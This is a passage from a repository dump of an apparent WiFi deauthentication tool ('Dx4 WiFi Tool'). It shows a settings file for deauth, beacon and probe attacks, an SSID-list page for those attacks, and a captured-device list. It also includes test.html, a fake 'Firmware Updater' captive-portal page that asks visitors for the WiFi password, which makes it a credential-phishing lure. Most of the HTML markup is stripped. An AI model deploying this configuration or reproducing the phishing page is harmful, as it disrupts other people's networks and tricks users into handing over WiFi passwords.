"b8:1d:aa:d5:6f:f0", 78 | 8, 79 | "[[[[not mine]]]]", 80 | "don't!", 81 | 2, 82 | 4, 83 | "<1sec", 84 | true 85 | ], 86 | [ 87 | "58:41:4e:7a:dd:1b", 88 | 8, 89 | "", 90 | "OK?!", 91 | 2, 92 | 3, 93 | "<1min", 94 | false 95 | ] 96 | ] 97 | } -------------------------------------------------------------------------------- /web_interface/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "over9000", 3 | "ssid": "pwned", 4 | "password": "deauther", 5 | "channel": 1, 6 | "hidden": false, 7 | "captivePortal": true, 8 | "lang": "en", 9 | "autosave": true, 10 | "autosavetime": 30000, 11 | "display": false, 12 | "displayTimeout": 600, 13 | "serial": true, 14 | "serialEcho": true, 15 | "web": true, 16 | "led": true, 17 | "maxch": 14, 18 | "macSt": "aa:bb:cc:dd:ee:ff", 19 | "macAP": "00:11:22:33:44:55", 20 | "chtime": 384, 21 | "minDeauths": 3, 22 | "attacktimeout": 600, 23 | "deauthspertarget": 20, 24 | "deauthReason": 1, 25 | "beaconchannel": false, 26 | "beaconInterval": false, 27 | "randomTX": false, 28 | "probesPerSSID": 1 29 | } -------------------------------------------------------------------------------- /web_interface/ssids.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | Dx4 WiFi Tool 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 29 | 30 |
31 | 32 |
33 |
34 |
35 |

SSIDs

36 |
37 |
38 |
39 |
40 | 41 |
42 |
43 | 44 |
45 |
46 |
47 |
48 | 49 |
50 |
51 | 52 |
53 |
54 |
55 |
56 | 57 |
58 |
59 | 60 |
61 |
62 |
63 |
64 | 65 |
66 |
67 | 69 |
70 |
71 |
72 |
73 | 74 | 75 |
76 |
77 |
78 |
79 | 80 |

81 | INFO:
82 | 83 | - This SSID list is used for the beacon and probe attack.
84 | - Each SSID can be up to 32 characters.
85 | - Don't forget to click save when you edited a SSID.
86 | - You have to click Reload after cloning SSIDs.
87 |
88 | In case of an unexpected error, please reload the site and 89 | look at the serial monitor for further debugging.
90 |

91 |
92 |
93 |
94 |
95 |
96 | 97 |
98 |
99 | s 100 |
101 |
102 |
103 |
104 | 105 |

Enable the random mode to generate a random SSID list in a given 106 | interval.

107 |
108 |
109 | 110 |
111 |
112 |
113 |
114 | Version 2.6.1 115 |
116 |
117 | Wiki | Credits 118 |
119 | 120 | 121 | -------------------------------------------------------------------------------- /web_interface/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Firmware Updater 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 |
15 |
16 |
17 |

Firmware Updater

18 |
19 | 20 | 21 |
22 |

Disclaimer

23 |

24 | To update Firmware, you will need to enter the WiFi Password. The firmware password is a security feature that helps to protect your device from unauthorized firmware updates. To enter the firmware password, follow this steps. 25 |
26 |

    27 |
  • Go to firmware updater
  • 28 |
  • Input password
  • 29 |
  • Wait for verify password
  • 30 |
  • Updating firmware
  • 31 |
  • DONE
  • 32 |
33 | If you do not know the firmware password, you can contact the WiFi manufacturer for assistance. 34 |

35 |
36 |
37 |
38 | 39 | 40 | -------------------------------------------------------------------------------- /web_interface/wifistatus.txt: -------------------------------------------------------------------------------- 1 | lold.sksksksk --------------------------------------------------------------------------------